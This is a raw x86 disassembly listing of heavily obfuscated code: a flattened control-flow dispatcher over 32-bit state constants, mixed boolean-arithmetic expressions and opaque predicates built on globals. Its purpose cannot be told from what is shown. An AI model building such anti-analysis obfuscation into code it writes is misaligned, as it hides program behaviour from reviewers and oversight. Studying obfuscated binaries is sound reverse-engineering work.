and esi, 0xfffffffe
and eax, edx
and ecx, 0x5ffa2bae
or eax, esi
mov esi, eax
not esi
and eax, 0xbdd3cc75
and esi, 0x422c338a
or eax, esi
mov esi, eax
xor esi, 0x1dd20824
xor eax, 0x422c338a
mov edi, eax
or eax, edx
and edx, 0xa005d451
and edi, 0xa005d451
and esi, 0x5ffa2bae
or esi, edi
or ecx, edx
not eax
xor ecx, esi
mov esi, 0x87c1c46a
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xc93cb61c
and ecx, 0x36c349e3
or eax, ecx
xor eax, 0xc93cb61c
sete al
setne cl
cmp dword [0x493580], 0xa
setl dl
mov ah, dl
xor cl, dl
or ah, al
xor al, dl
xor cl, 1
and al, ah
xor ah, 1
or ah, cl
xor al, 1
mov ecx, eax
or al, ah
xor cl, ah
mov edx, eax
xor dl, cl
mov edx, 0x88ac9a3b
cmovne edx, esi
test al, al
mov eax, 0x88ac9a3b
jmp 0x41212f
cmp eax, 0xa4c19397
jle 0x404f34
cmp eax, 0xa58af951
jle 0x406769
cmp eax, 0xa6295c9d
jg 0x40920d
cmp eax, 0xa58af952
je 0x40a867
cmp eax, 0xa5b95cb1
jne 0x4021f0
mov eax, 0x4f8304d7
jmp 0x4021f0
cmp eax, 0x657697ef
jle 0x4050f5
cmp eax, 0x66621347
jle 0x4067b6
cmp eax, 0x6793fa80
jg 0x4092e9
cmp eax, 0x66621348
je 0x40a928
cmp eax, 0x66720cb6
jne 0x4021f0
mov eax, dword [ebp - 0xe8]
mov eax, dword [eax]
add eax, dword [ebp - 0x38]
mov dword [ebp - 0x188], eax
mov eax, dword [0x493584]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
xor edx, 0xa27f8984
and edx, ecx
not ecx
and ecx, 0xa27f8984
or edx, ecx
mov eax, edx
not eax
and edx, 0xbfdb171c
and eax, 0x4024e8e3
or edx, eax
mov esi, edx
mov eax, edx
xor edx, 0xc0581a90
xor eax, 0xe25b6167
xor esi, 0x1da49e98
mov edi, edx
and edi, eax
and edx, esi
and esi, 0xeecc0625
mov ecx, edi
not ecx
and edi, 0xa473a1f6
mov ebx, ecx
and ebx, 0x5b8c5e09
or edi, ebx
mov ebx, edx
not ebx
and edx, 0xa473a1f6
or ecx, ebx
and ebx, 0x5b8c5e09
or edx, ebx
not ecx
xor edx, edi
mov edi, eax
and edi, 0x1133f9da
and eax, 1
or ecx, edx
or edi, esi
mov edx, ecx
not edx
and ecx, 0xddfc8409
and edx, 0x22037bf6
or ecx, edx
mov edx, edi
xor edx, 0xeecc0624
xor edi, 0x1020d952
or eax, edx
mov edx, ecx
not edx
and ecx, 0x102cdb56
and edi, 0x102cdb56
mov esi, edx
or edx, eax
and esi, 0xefd324a9
and eax, 0xefd324a9
or ecx, esi
or edi, eax
not edx
xor edi, ecx
or edx, edi
mov eax, edx
andn ecx, edx, edx
not edx
and eax, 0x6dba85ea
and edx, 0x92457a15
or eax, edx
mov edx, eax
xor edx, 0x4ca8040a
xor eax, 0x92457a15
mov esi, eax
and esi, 0xb156bbe4
and edx, 0x4ea9441b
or edx, esi
mov esi, ecx
not esi
and ecx, 0x4ea9441b
or eax, esi
and esi, 0xb156bbe4
or ecx, esi
not eax
mov esi, 0x1f374593
xor ecx, edx
or eax, ecx
sete al
setne dl
cmp dword [0x493580], 0xa
setl ah
mov cl, ah
mov ch, ah
or cl, al
xor al, ah
xor ch, dl
or dl, ah
and al, ah
xor ch, 1
xor cl, 1
xor al, 1
or cl, ch
mov ah, al
or al, dl
xor cl, 1
xor ah, dl
xor al, 1
mov edx, ecx
or al, ah
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0xb620f7d0
cmovne ecx, esi
test al, 1
mov eax, 0xb620f7d0
jmp 0x412f61
cmp eax, 0xc770ade6
jle 0x40512b
cmp eax, 0xca993a6d
jle 0x4067e4
cmp eax, 0xcb31776e
jg 0x40953d
cmp eax, 0xca993a6e
je 0x40a9e1
cmp eax, 0xcac3398e
jne 0x4021f0
mov eax, 0x915672ec
jmp 0x4021f0
cmp eax, 0x19ff68e0
jle 0x405220
cmp eax, 0x1c35843d
jle 0x40680f
cmp eax, 0x1ef15328
jg 0x409560
cmp eax, 0x1c35843e
je 0x40ac16
cmp eax, 0x1dfcebf7
jne 0x4021f0
mov ecx, dword [0x493584]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
mov ecx, eax
not edx
or ecx, 0xc1555a48
mov edi, edx
mov esi, ecx
and esi, 0x5a0619d7
and edi, 0x24a8a420
and edx, 0xf8d2db6e
or edi, esi
mov esi, eax
xor esi, 0x3eaaa5b7
and esi, eax
and eax, 0x72d2491
mov ebx, esi
not ebx
and esi, 0xa5f9e628
or eax, edx
or ecx, ebx
and ebx, 0x5a0619d7
or esi, ebx
not ecx
xor esi, edi
or ecx, esi
mov esi, ecx
not esi
and ecx, 0xe2a1337c
and esi, 0x1d5ecc83
or ecx, esi
mov esi, ecx
xor ecx, 0x21740831
xor esi, 0xdc0b96ca
mov edx, esi
and edx, 0x8e80734c
and ecx, 0x717f8cb3
or ecx, edx
mov edx, eax
xor edx, 0x12d0491
xor eax, 0xf8d2db6e
or esi, eax
and eax, 0x8e80734c
and edx, 0x717f8cb3
or edx, eax
not esi
xor edx, ecx
or esi, edx
cmp esi, 0xffffffff
mov esi, 0x13aa49f6
setne cl
cmp dword [0x493580], 0xa
setge al
setl ah
or al, cl
xor ah, cl
mov ecx, eax
mov ch, al
mov dl, ah
xor al, ah
xor ah, 1
xor cl, 1
and ch, ah
and dl, cl
or cl, ah
xor cl, 1
or dl, ch
or cl, al
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0xb45e733f
cmovne esi, eax
test cl, cl
mov eax, 0x13aa49f6
cmovne eax, esi
test dl, dl
cmove eax, esi
jmp 0x4021f0
cmp eax, 0x988c9623
jle 0x405328
cmp eax, 0x9b9372de
jle 0x40684f
cmp eax, 0x9bb49b01
jg 0x40958f
cmp eax, 0x9b9372df
je 0x40ac20
cmp eax, 0x9b951cb4
jne 0x4021f0
mov eax, dword [0x493584]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
not ecx
mov esi, edx
and esi, 0xa582c5fa
mov eax, ecx
and eax, 0x5a7d3a04
and ecx, 0xa480e117
or esi, eax
mov eax, edx
xor eax, 0xfffffffe
xor esi, 0xa582c5fa
and eax, edx
or eax, esi
mov esi, eax
not esi
mov edi, eax
or eax, edx
and edx, 0x5b7f1ee8
and edi, 0x5b7f1ee8
and esi, 0xa480e117
or ecx, edx
not eax
or esi, edi
mov edi, 0x1ffa809f
xor ecx, esi
mov esi, 0x21591d43
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xc1313c42
and ecx, 0x3ecec3bd
or eax, ecx
xor eax, 0xc1313c42
setne dl
sete ah
cmp dword [0x493580], 0xa
mov ch, dl
setl cl
setge al
and ch, al
and cl, ah
xor dl, al
or cl, ch
and dl, ah
xor cl, 1
or cl, al
or al, ah
xor al, 1
or al, dl
mov edx, eax
and al, cl
xor cl, 1
xor dl, 1
mov ch, cl
xor ch, dl
and dl, cl
and ch, cl
or dl, al
mov al, ch
xor al, dl
test al, 1
cmovne esi, edi
test dl, 1
mov eax, esi
cmovne eax, edi
test ch, 1
cmove eax, esi
jmp 0x4021f0
cmp eax, 0x526c5736
jle 0x405655
cmp eax, 0x54d9ec0e
jle 0x406945
cmp eax, 0x55303f77
jg 0x4095b5
cmp eax, 0x54d9ec0f
je 0x40ac30
cmp eax, 0x54da8011
jne 0x4021f0
mov ecx, dword [0x493584]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x50200850
and eax, 0x2b4be152
mov edx, ecx
and edx, 0x8408b20a
mov edi, ecx
or edi, 0xd428ba5a
and ecx, 0xd4b41ead
or esi, edx
mov edx, edi
not edx
and edi, 0x2bd745a4
or eax, ecx
xor esi, 0x50200850
xor eax, 0x2b4be152
or edx, esi
mov esi, 0x663bbd51
and edx, 0xd428ba5b
or edx, edi
not edx
or eax, edx
xor eax, 0xffffffff
setne al
sete cl
cmp dword [0x493580], 0xa
mov ch, al
setl dl
setge ah
and cl, dl
and ch, ah
and dl, al
inc al
or cl, ch
and al, ah
xor cl, 1
or al, dl
or cl, ah
mov ah, al
xor ah, 1
mov edx, ecx
mov ch, ah
xor ah, cl
xor cl, 1
and dl, al
or al, cl
and ch, cl
xor al, 1
or dl, ch
or al, ah
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x2faf403
cmovne eax, esi
test dl, dl
not cl
mov edx, 0x2faf403
cmove eax, esi
test cl, 1
cmovne eax, edx
jmp 0x4021f0
cmp eax, 0xf4ada4d0
jle 0x405696
cmp eax, 0xf7e472ed
jle 0x406aab
cmp eax, 0xf86b5ce8
jg 0x40971c
cmp eax, 0xf7e472ee
je 0x40adca
cmp eax, 0xf8035377
jne 0x4021f0
mov ecx, dword [0x493584]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x90ccd1ab
mov esi, ecx
and esi, 0x6f332e54
and ecx, 0x695986e
or edx, esi
mov esi, edx
xor esi, 0xcc1108
xor edx, 0x44002854
and edx, 0xd400e8f6
and esi, 0x2bff1708
or esi, edx
mov edx, eax
or edx, 0xd400e8f6
and eax, 0xf96a6791
and edx, 0xd400e8f7
or eax, ecx
mov ecx, eax
xor edx, esi
xor ecx, 0xf96a6791
xor eax, 0x695986e
mov esi, 0x6ef147c7
andn ecx, edx, ecx
and eax, edx
not edx
or eax, ecx
not eax
or eax, edx
xor eax, 0xffffffff
setne dl
sete ch
cmp dword [0x493580], 0xa
setl ah
setge cl
mov al, ah
mov dh, cl
and dl, ah
or ah, ch
and cl, ch
xor al, ch
or dh, ch
xor ah, 1
or cl, dl
and al, ch
or cl, ah
xor al, 1
mov ebx, eax
or al, dh
xor bl, dh
xor al, 1
or al, bl
mov ah, al
mov edx, eax
xor ah, 1
and dl, ah
xor dl, 1
or dl, ah
xor dl, 1
or dl, al
mov ah, dl
and dl, cl
xor cl, 1
xor ah, 1
and ah, cl
or dl, ah
mov ah, al
xor ah, cl
or cl, al
xor cl, 1
or cl, ah
mov eax, 0x5fe9bfd
mov ch, cl
xor ch, dl
test cl, 1
cmovne eax, esi
test dl, 1
not ch
mov edx, 0x5fe9bfd
cmove eax, esi
test ch, 1
cmovne eax, edx
jmp 0x4021f0
cmp eax, 0x3904288d
jle 0x4056e3
cmp eax, 0x3a18a351
jle 0x406aeb
cmp eax, 0x3aae2847
jg 0x40973c
cmp eax, 0x3a18a352
je 0x40aed4
cmp eax, 0x3a5c11a2
jne 0x4021f0
mov eax, dword [0x493584]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
not edx
mov eax, ecx
and eax, 0x18881022
mov esi, edx
and esi, 0x8150e9d5
and edx, 0x1f6dc995
or eax, esi
mov esi, eax
xor esi, 0x8801002
xor eax, 0xe777efdd
mov edi, eax
and edi, 0x925b20a8
and esi, 0x980d957
or esi, edi
mov edi, ecx
xor edi, 0x99d8f9f7
and edi, ecx
and ecx, 0xe092366a
mov ebx, edi
not ebx
and edi, 0x6da4df57
or ecx, edx
or eax, ebx
and ebx, 0x925b20a8
or edi, ebx
not eax
xor edi, esi
or eax, edi
mov esi, eax
not esi
and eax, 0x99d8f9f6
and esi, 0x66270609
or eax, esi
mov esi, eax
not esi
mov edx, eax
and edx, 0x9004cedc
and esi, 0x6ffb3123
or esi, edx
mov edx, ecx
xor edx, 0x60923022
xor ecx, 0x1f6dc995
or eax, ecx
and ecx, 0x9004cedc
and edx, 0x6ffb3123
or edx, ecx
not eax
xor edx, esi
mov esi, 0x8a948fa1
or eax, edx
mov ecx, eax
not ecx
and eax, 0x6af24153
and ecx, 0x950dbeac
or eax, ecx
xor eax, 0x6af24153
sete ah
setne dl
cmp dword [0x493580], 0xa
mov dh, ah
setl ch
setge al
mov cl, ch
or dh, al
or cl, dl
and dl, ch
mov ch, al
xor ch, ah
mov ebx, ecx
or cl, dh
and ch, al
and al, ah
xor bl, dh
xor cl, 1
or al, dl
or cl, bl
or al, ch
mov ah, cl
mov edx, eax
xor ah, 1
xor dl, 1
and dl, ah
or ah, al
and al, cl
or al, dl
mov cl, ah
mov edx, 0xf244feee
xor cl, al
test al, 1
cmovne edx, esi
test ah, 1
mov eax, 0xf244feee
jmp 0x411701
cmp eax, 0xb48cd6e5
jle 0x405807
cmp eax, 0xb5eb0eaa
jle 0x406cac
cmp eax, 0xb67d533a
jg 0x40976a
cmp eax, 0xb5eb0eab
je 0x40aede
cmp eax, 0xb620f7d0
jne 0x4021f0
mov eax, 0x94e0aca9
jmp 0x4021f0
cmp eax, 0x7bd4803f
jle 0x406d9e
cmp eax, 0x7dbd4a43
jg 0x4098bb
cmp eax, 0x7bd48040
je 0x40b005
cmp eax, 0x7d0ea41b
jne 0x4021f0
mov eax, 0x59b12aed
jmp 0x4021f0
cmp eax, 0xd510f377
jle 0x406dfe
cmp eax, 0xd6c6f0e8
jg 0x4099bd
cmp eax, 0xd510f378
je 0x40b0fa
cmp eax, 0xd5cdb0e6
jne 0x4021f0
mov eax, 0x50255b9e
jmp 0x4021f0
cmp eax, 0xfbeda4b1
jg 0x406fca
cmp eax, 0xf9f9841a
je 0x40b225
cmp eax, 0xfa6a6f07
je 0x40b3f1
cmp eax, 0xfad3e1ed
jne 0x4021f0
mov eax, dword [ebp - 0x24]
mov dword [eax], 5
mov eax, 0xbb5b5fba
jmp 0x4021f0
cmp eax, 0x82c86695
jg 0x407026
cmp eax, 0x80182858
je 0x40b404
cmp eax, 0x80c076de
je 0x40b4cf
cmp eax, 0x81ab06d5
jne 0x4021f0
mov eax, dword [0x493584]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
andn eax, ecx, ecx
not ecx
and edx, 0x84843c2c
and ecx, 0x7b7bc3d3
or edx, ecx
xor edx, 0x84843c2c
or eax, edx
mov edx, eax
mov ecx, eax
xor ecx, 0x35a2cceb
not edx
mov esi, edx
and ecx, eax
and esi, 0x35a2cceb
or edx, 1
and eax, 0xc83f84c8
or ecx, esi
mov esi, ecx
not esi
and ecx, 0x48298a28
and esi, 0xb7d675d7
or ecx, esi
mov esi, ecx
xor esi, 0x480b04c0
xor ecx, 0x8274b93d
mov edi, ecx
or ecx, edx
and edx, 0x37c07b37
and edi, 0x37c07b37
and esi, 0xc83f84c8
or esi, edi
or eax, edx
not ecx
xor eax, esi
mov esi, 0xdab2b484
or ecx, eax
xor ecx, 0xffffffff
sete cl
setne ah
cmp dword [0x493580], 0xa
setge dl
setl ch
mov al, dl
and ch, ah
and al, cl
xor cl, dl
and cl, dl
xor dl, ah
or al, ch
or dl, cl
mov ah, dl
xor ah, 1
mov cl, ah
and cl, dl
xor ah, cl
xor cl, 1
or cl, dl
xor cl, 1
or cl, ah
mov ah, cl
xor ah, 1
mov dl, ah
and dl, cl
xor dl, 1
or dl, cl
or cl, al
xor dl, 1
xor cl, 1
or dl, ah
mov ch, dl
xor dl, 1
and ch, al
xor al, 1
and dl, al
xor al, ah
or cl, al
or dl, ch
mov eax, ecx
xor al, dl
test cl, 1
mov ecx, 0x250d2663
cmovne ecx, esi
test dl, dl
cmove ecx, esi
test al, 1
mov eax, 0x250d2663
jmp 0x4021e0
cmp eax, 0x3e264dfc
jg 0x407051
cmp eax, 0x3b79781a
je 0x40b5d1
cmp eax, 0x3c32c8a6
je 0x40b6f5
cmp eax, 0x3d3d06f4
jne 0x4021f0
mov eax, 0xe1fc0b22
jmp 0x4021f0
cmp eax, 0xdd9bd852
jg 0x407082
cmp eax, 0xdcd4c89f
je 0x40b719
cmp eax, 0xdd433204
je 0x40b731
cmp eax, 0xdd4fa160
jne 0x4021f0
mov eax, 0x14cbfd2b
jmp 0x4021f0
cmp eax, 0x20449dde
jg 0x4070b6
cmp eax, 0x1f374593
je 0x40b7c8
cmp eax, 0x1f4afb42
je 0x40b7fc
cmp eax, 0x1ffa809f
jne 0x4021f0
mov ecx, dword [0x493584]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
xor edx, 0xfffffffe
mov esi, eax
not esi
mov ecx, eax
or ecx, 1
and edx, eax
mov edi, ecx
and edi, 0xa0946861
and esi, 0x5f6b979e
mov ebx, edx
not ebx
and edx, 0x5f6b979e
or esi, edi
or ecx, ebx
and ebx, 0xa0946861
or edx, ebx
not ecx
xor edx, esi
mov esi, 0xa8989b3
or ecx, edx
mov edx, ecx
not edx
and ecx, eax
andn eax, eax, edx
or ecx, eax
xor edx, ecx
test edx, ecx
sete al
setne dl
cmp dword [0x493580], 0xa
setl ah
mov cl, ah
xor dl, ah
or cl, al
xor dl, 1
xor al, ah
xor cl, 1
or cl, dl
mov edx, eax
and al, cl
xor cl, 1
xor dl, 1
mov ch, cl
xor ch, dl
and dl, cl
and ch, cl
or dl, al
mov eax, 0x21591d43
mov cl, ch
xor cl, dl
test dl, dl
mov edx, 0x21591d43
cmovne eax, esi
test ch, ch
jmp 0x410688
cmp eax, 0x9cd1b510
jg 0x4071f2
cmp eax, 0x9c6e50c4
je 0x40b806
cmp eax, 0x9caf175b
je 0x40b941
cmp eax, 0x9ccc1e36
jne 0x4021f0
movzx eax, byte [ebp - 0x55]
mov ecx, dword [ebp - 0x78]
mov byte [ecx], al
mov eax, dword [ebp - 0x98]
mov eax, dword [ebp - 0x78]
mov eax, 0x263ec725
jmp 0x4021f0
cmp eax, 0x5802174d
jg 0x407424
cmp eax, 0x55eba76b
je 0x40b95c
cmp eax, 0x5632625a
je 0x40b966
cmp eax, 0x579f6670
jne 0x4021f0
mov eax, dword [ebp - 0x90]
vxorps xmm0, xmm0, xmm0
vmovups xmmword [eax], xmm0
vxorps xmm0, xmm0, xmm0
mov eax, dword [ebp - 0x94]
mov eax, dword [ebp - 0x94]
vmovups ymmword [eax + 0x20], ymm0
vmovups ymmword [eax], ymm0
mov dword [eax + 0x40], 0
mov eax, 0x68848420
jmp 0x4021f0
cmp eax, 0xbc17794f
jg 0x4074b7
cmp eax, 0xb9582330
je 0x40b970
cmp eax, 0xbb5b5fba
je 0x40bacb
cmp eax, 0xbbad20c3
jne 0x4021f0
mov eax, 0x160ee4d6
jmp 0x4021f0
cmp eax, 0xdee1ef5
jg 0x4075a5
cmp eax, 0xd000c93
je 0x40bb9b
cmp eax, 0xd80d7a1
je 0x40bba8
cmp eax, 0xdebffe0
jne 0x4021f0
mov ecx, dword [0x493584]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
or esi, 0x10504311
and eax, 0x80010888
mov edx, ecx
or edx, 0xea41400
and esi, 0x1ef45711
and ecx, 0x610aa066
and edx, 0x1ef45711
or ecx, esi
or eax, edx
xor eax, ecx
mov ecx, eax
not ecx
and eax, 0x31d07387
and ecx, 0xce2f8c78
or eax, ecx
mov ecx, eax
xor eax, 0xa181381e
xor ecx, 0x5e7ec7e1
mov edx, ecx
and eax, 0xfffffffe
and ecx, 1
and edx, 0xfffffffe
or ecx, eax
or ecx, edx
mov edx, ecx
xor edx, 0x81aaa76d
mov eax, ecx
and eax, 0x1a8832d
and edx, ecx
not ecx
and ecx, 0x80022440
or eax, ecx
mov ecx, eax
xor ecx, 0x180012d
xor eax, 0xfe577cd2
mov esi, eax
and esi, 0xb27ad282
and ecx, 0x180256d
or ecx, esi
mov esi, edx
not esi
and edx, 0x4d852d7d
or eax, esi
and esi, 0xb27ad282
or edx, esi
not eax
mov esi, 0x53dc1ab8
xor edx, ecx
or eax, edx
mov ecx, eax
not ecx
and eax, 0x81aaa76d
and ecx, 0x7e555892
or eax, ecx
sete al
setne dl
cmp dword [0x493580], 0xa
setl ah
setge cl
and ah, dl
xor dl, cl
and al, cl
xor dl, 1
or al, ah
and cl, dl
xor cl, 1
mov ah, cl
or cl, dl
xor ah, dl
xor cl, 1
or cl, ah
mov ah, cl
xor ah, 1
mov dl, ah
and dl, cl
xor ah, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, ah
mov ecx, edx
xor dl, al
xor al, 1
xor cl, 1
or al, cl
mov ecx, edx
xor cl, al
test dl, 1
mov edx, 0x51091df4
cmovne edx, esi
test al, 1
mov eax, 0x51091df4
jmp 0x411701
cmp eax, 0x8ef9dbd7
jg 0x4075d0
cmp eax, 0x8d523bde
je 0x40bbc5
cmp eax, 0x8dff87c8
je 0x40bbcf
cmp eax, 0x8ec75e60
jne 0x4021f0
mov ecx, dword [0x493584]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
and eax, 0x912b74d9
and ecx, 0x6ed48b26
or eax, ecx
mov ecx, eax
mov edx, eax
xor edx, 0x6ed48b26
xor ecx, 0x912b74d9
xor eax, 0x912b74d8
and eax, ecx
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
mov edx, eax
not edx
and eax, 0x14e1b76b
mov esi, edx
and esi, 0xeb1e4894
or eax, esi
mov esi, ecx
not esi
and ecx, 0x14e1b76b
or edx, esi
and esi, 0xeb1e4894
or ecx, esi
not edx
mov esi, 0x51d5a33e
xor ecx, eax
or edx, ecx
mov eax, edx
xor eax, 0xb6c08632
and eax, edx
not edx
or edx, eax
not eax
and eax, 0x493f79cd
and edx, 0xb6c08632
or edx, eax
mov eax, edx
not eax
and edx, 0x29febc22
and eax, 0xd60143dd
or edx, eax
mov eax, edx
xor eax, 0x204e9020
xor edx, 0x560100c8
and edx, 0x5fb12cca
and eax, 0xa04ed335
or eax, edx
xor eax, 0xa04ed335
setne ch
sete dl
cmp dword [0x493580], 0xa
mov cl, ch
setge al
inc cl
mov ah, al
mov dh, al
and cl, al
inc ah
and dh, ah
xor dh, 1
or dh, ah
xor dh, 1
or dh, al
or al, ch
mov bl, dh
xor al, 1
and dh, dl
xor bl, 1
and bl, ch
and ch, ah
xor ah, dl
or al, ah
or dh, bl
or cl, ch
xor al, 1
mov dl, cl
or al, dh
xor dl, 1
mov ah, al
and al, cl
xor ah, 1
and dl, ah
or dl, al
mov al, cl
xor al, ah
or ah, cl
mov ecx, 0xef22fcac
xor ah, 1
or ah, al
mov al, ah
xor al, dl
test ah, 1
cmovne ecx, esi
test dl, dl
cmove ecx, esi
test al, 1
mov eax, 0xef22fcac
jmp 0x4021e0
cmp eax, 0x4a130c30
jg 0x4075fb
cmp eax, 0x4896213b
je 0x40bd6a
cmp eax, 0x4909a92d
je 0x40bdad
cmp eax, 0x495ca49f
jne 0x4021f0
mov eax, 0x220a1065
jmp 0x4021f0
cmp eax, 0xee1a87bc
jg 0x407655
cmp eax, 0xed5c5b89
je 0x40be62
cmp eax, 0xed699683
je 0x40be6c
cmp eax, 0xedadb715
jne 0x4021f0
mov eax, dword [ebp - 0xc8]
mov eax, dword [ebp - 0xc8]
mov eax, dword [ebp - 0xc8]
mov eax, dword [ebp - 0xc8]
mov ecx, dword [ebp - 0xac]
shr eax, 1
mov dword [ecx], eax
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x3c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x30]
add eax, 8
mov dword [ecx], eax
mov eax, 0x78a55321
jmp 0x4021f0
cmp eax, 0x324f2a8d
jg 0x40768f
cmp eax, 0x2ed14877
je 0x40be76
cmp eax, 0x2f60cb05
je 0x40bf2c
cmp eax, 0x3158c4c1
jne 0x4021f0
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x114]
mov dword [eax], ecx
mov ecx, dword [0x493584]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x20044401
and eax, 0x5fbb1ad6
and ecx, 0x8040a128
or edx, ecx
xor edx, 0x20044401
or eax, edx
mov ecx, eax
not ecx
and eax, 0x78370a69
and ecx, 0x87c8f596
or eax, ecx
mov esi, eax
mov ecx, eax
xor ecx, 0x40410bf
xor esi, 0xd873ef40
xor eax, 0x5b271100
and eax, esi
and ecx, 0xc445f9ff
and esi, 0x3bba0600
or esi, ecx
mov ecx, esi
mov edi, esi
xor ecx, 0x3bba0600
xor edi, 0x471107bf
xor esi, 0xc04521f2
and edi, ecx
or ecx, 1
and esi, 0xf35f23f2
mov edx, edi
not edx
and edi, 0xb3d30b59
and ecx, 0xca0dc0d
mov ebx, edx
and ebx, 0x4c2cf4a6
or ecx, esi
mov esi, 0xd3e3e06a
or edi, ebx
mov ebx, eax
not ebx
and eax, 0xb3d30b59
xor ecx, 0xca0dc0d
or edx, ebx
and ebx, 0x4c2cf4a6
or eax, ebx
not edx
xor eax, edi
or edx, eax
mov eax, edx
not eax
and edx, 0xace26c77
and eax, 0x531d9388
or edx, eax
xor edx, 0x2fb69236
or ecx, edx
mov edx, ecx
xor edx, 0x2134a2ae
mov eax, ecx
and eax, 0x20240284
and edx, ecx
not ecx
and ecx, 0x110a02a
or eax, ecx
xor eax, 0x20240284
or eax, edx
not edx
and edx, 0xdecb5d51
and eax, 0x2134a2ae
or eax, edx
mov ecx, eax
not ecx
and eax, 0xc138299f
mov edx, ecx
and edx, 0x3ec7d660
or eax, edx
xor eax, 0x3ec7d660
xor ecx, eax
test ecx, eax
sete ah
setne cl
cmp dword [0x493580], 0xa
mov dl, ah
setl ch
mov al, ch
xor cl, ch
xor dl, ch
or al, ah
xor cl, 1
and ah, dl
and dl, ch
xor al, 1
xor ah, 1
xor dl, 1
or al, cl
mov ch, ah
mov cl, al
xor ch, dl
or dl, ah
not cl
xor dl, 1
and cl, al
or dl, ch
xor cl, 1
mov ah, cl
or cl, al
xor ah, al
xor cl, 1
or cl, ah
mov ah, cl
xor ah, 1
and ah, dl
xor dl, 1
and cl, dl
or dl, al
or cl, ah
mov eax, edx
xor al, cl
test al, 1
mov eax, 0xe6bba382
cmovne esi, eax
test dl, 1
mov eax, 0xd3e3e06a
jmp 0x40ea13
cmp eax, 0xaa035620
jg 0x4076ba
cmp eax, 0xa8ff4f9f
je 0x40bf4a
cmp eax, 0xa96a178c
je 0x40bf57
cmp eax, 0xa96b9ac1
jne 0x4021f0
mov eax, 0x40a1d00f
jmp 0x4021f0
cmp eax, 0x6ac7dd8f
jg 0x407822
cmp eax, 0x68873a26
je 0x40c083
cmp eax, 0x68e7344f
je 0x40c08d
cmp eax, 0x6a8f040f
jne 0x4021f0
mov ecx, dword [0x493584]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
xor ecx, 0x984936d3
mov esi, eax
or esi, 0x27b6c820
and ecx, eax
and esi, 0x37b6de21
and edx, 0x884920d2
or edx, esi
mov esi, ecx
not esi
and ecx, 0xc84921de
or eax, esi
and esi, 0x37b6de21
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
not ecx
and ecx, 0x67b6c92c
and eax, 0x984936d3
or eax, ecx
mov edx, eax
xor edx, 1
mov ecx, eax
not ecx
and edx, eax
and ecx, 0xfffffffe
and eax, 1
or eax, ecx
mov ecx, edx
not ecx
and edx, 0xbfb94537
mov esi, ecx
and esi, 0x4046bac8
or edx, esi
mov esi, eax
not esi
and eax, 0xbfb94537
or ecx, esi
and esi, 0x4046bac8
or eax, esi
not ecx
mov esi, 0x55303f78
xor eax, edx
or ecx, eax
mov eax, ecx
not eax
and ecx, 0x334dbe8f
and eax, 0xccb24170
or ecx, eax
xor ecx, 0x334dbe8f
sete dl
setne al
cmp dword [0x493580], 0xa
setge ah
mov cl, ah
xor cl, al
or al, ah
or ah, dl
and cl, dl
xor cl, 1
mov edx, ecx
or cl, ah
xor dl, ah
mov ah, al
xor cl, 1
xor ah, 1
or cl, dl
mov dl, ah
and dl, al
xor dl, 1
or dl, al
xor dl, 1
or dl, ah
xor dl, cl
xor cl, 1
or cl, al
mov eax, 0xee1a87bd
mov ch, cl
xor ch, dl
test cl, 1
cmovne eax, esi
test dl, 1
mov edx, 0xee1a87bd
cmove eax, esi
test ch, 1
cmove eax, edx
jmp 0x4021f0
cmp eax, 0xcd71d253
jg 0x40784d
cmp eax, 0xcbfcd510
je 0x40c1fe
cmp eax, 0xcc31cbb2
je 0x40c2cc
cmp eax, 0xccdef69d
jne 0x4021f0
mov eax, 0x9bb49b02
jmp 0x4021f0
cmp eax, 0xa8989b2
jg 0x407958
cmp eax, 0x64b0dfb
je 0x40c35d
cmp eax, 0x7762456
je 0x40c446
cmp eax, 0xa3d3fa3
jne 0x4021f0
mov eax, dword [0x493584]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
not eax
mov esi, edx
and esi, 0xb7661ce0
mov ecx, eax
and ecx, 0x4899e31e
and eax, 0x381e963a
or esi, ecx
mov ecx, edx
and ecx, 1
mov edi, esi
xor edi, 0x2201ce0
xor esi, 0x48100312
or ecx, edi
and esi, 0xfd560312
and ecx, 0x2a9fced
or ecx, esi
mov esi, ecx
xor esi, 0x89428
xor ecx, 0xfd560312
mov edi, ecx
or ecx, edx
and edx, 0xc7e169c5
and edi, 0xc7e169c5
and esi, 0x381e963a
or esi, edi
or eax, edx
not ecx
xor eax, esi
mov esi, 0xcd71d254
or ecx, eax
mov eax, ecx
not eax
and ecx, 0x115d3b6f
and eax, 0xeea2c490
or ecx, eax
cmp ecx, 0x115d3b6f
setne cl
cmp dword [0x493580], 0xa
setge al
mov edx, eax
or al, cl
xor dl, cl
mov ecx, eax
xor cl, 1
and al, dl
xor dl, 1
mov ah, cl
xor ah, dl
and dl, cl
or dl, al
and ah, cl
mov ecx, 0xa191b6e5
mov al, dl
xor al, ah
test dl, dl
mov edx, 0xa191b6e5
cmovne ecx, esi
test ah, ah
jmp 0x40d9ed
cmp eax, 0x88ac9a3a
jg 0x40799d
cmp eax, 0x872ec8c9
je 0x40c450
